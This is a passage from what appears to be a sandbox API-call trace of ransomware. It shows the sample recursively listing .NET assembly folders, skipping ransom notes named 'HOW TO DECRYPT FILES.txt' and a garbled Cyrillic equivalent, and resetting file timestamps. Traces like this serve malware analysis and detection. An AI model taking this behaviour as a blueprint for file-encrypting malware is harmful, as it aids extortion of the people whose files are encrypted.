ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1575020, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 0 [0101.808] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.809] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Core", cAlternateFileName="SYSTEM~1.COR")) returned 1 [0101.809] lstrcmpA (lpString1=".", lpString2="System.Core") returned -1 [0101.809] lstrcmpA (lpString1="..", lpString2="System.Core") returned -1 [0101.809] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.809] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.810] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.810] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.810] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.810] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.810] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf930aac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf930aac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.810] lstrcmpA (lpString1=".", lpString2="3.5.0.0__b77a5c561934e089") returned -1 [0101.810] lstrcmpA (lpString1="..", lpString2="3.5.0.0__b77a5c561934e089") returned -1 [0101.810] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\*.*") returned="*.*" [0101.810] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf930aac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf930aac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.811] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.811] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf930aac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf930aac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.811] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.811] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.811] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae71e5fc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae71e5fc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae97fc00, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0101.811] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.811] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Core.dll") returned -1 [0101.811] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Core.dll") returned -1 [0101.811] lstrcmpiA (lpString1="", lpString2="System.Core.dll") returned -1 [0101.811] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.812] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\" [0101.812] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.815] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.815] CloseHandle (hObject=0x90) returned 1 [0101.815] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae71e5fc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae71e5fc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae97fc00, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 0 [0101.815] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.816] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf930aac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf930aac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.816] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.816] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.DataSetExtensions", cAlternateFileName="SYSTEM~2.DAT")) returned 1 [0101.816] lstrcmpA (lpString1=".", lpString2="System.Data.DataSetExtensions") returned -1 [0101.816] lstrcmpA (lpString1="..", lpString2="System.Data.DataSetExtensions") returned -1 [0101.816] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.816] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.817] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.817] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.817] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.817] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.817] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbed23b36, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbed23b36, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.817] lstrcmpA (lpString1=".", lpString2="3.5.0.0__b77a5c561934e089") returned -1 [0101.817] lstrcmpA (lpString1="..", lpString2="3.5.0.0__b77a5c561934e089") returned -1 [0101.817] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\*.*") returned="*.*" [0101.818] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbed23b36, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbed23b36, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.855] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.855] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbed23b36, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbed23b36, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.855] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.855] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.855] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae470d37, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae470d37, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae496e97, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0101.855] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.855] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.DataSetExtensions.dll") returned -1 [0101.855] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.DataSetExtensions.dll") returned -1 [0101.855] lstrcmpiA (lpString1="", lpString2="System.Data.DataSetExtensions.dll") returned -1 [0101.855] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.856] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\3.5.0.0__b77a5c561934e089\\" [0101.856] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.858] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.859] CloseHandle (hObject=0x90) returned 1 [0101.859] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae470d37, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae470d37, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae496e97, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 0 [0101.859] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.859] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbed23b36, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbed23b36, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.859] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.860] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Entity", cAlternateFileName="SYSTEM~2.ENT")) returned 1 [0101.860] lstrcmpA (lpString1=".", lpString2="System.Data.Entity") returned -1 [0101.860] lstrcmpA (lpString1="..", lpString2="System.Data.Entity") returned -1 [0101.860] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.860] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.861] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.861] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.861] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.861] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbffbc738, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbffbc738, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.861] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\*.*") returned="*.*" [0101.861] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbffbc738, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbffbc738, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.862] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbffbc738, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbffbc738, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.862] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfd428e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadfd428e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae470d37, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0101.862] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.862] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Entity.dll") returned -1 [0101.862] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Entity.dll") returned -1 [0101.862] lstrcmpiA (lpString1="", lpString2="System.Data.Entity.dll") returned -1 [0101.863] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.863] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\3.5.0.0__b77a5c561934e089\\" [0101.863] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.866] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfd428e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadfd428e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae470d37, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 0 [0101.866] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.866] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbffbc738, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbffbc738, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.866] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.866] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Entity.Design", cAlternateFileName="SY99AF~1.DES")) returned 1 [0101.867] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.867] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.868] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.868] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf14e1bd, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf14e1bd, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.868] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\*.*") returned="*.*" [0101.868] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Data.Entity.Design\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf14e1bd, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf14e1bd, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.869] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf14e1bd, 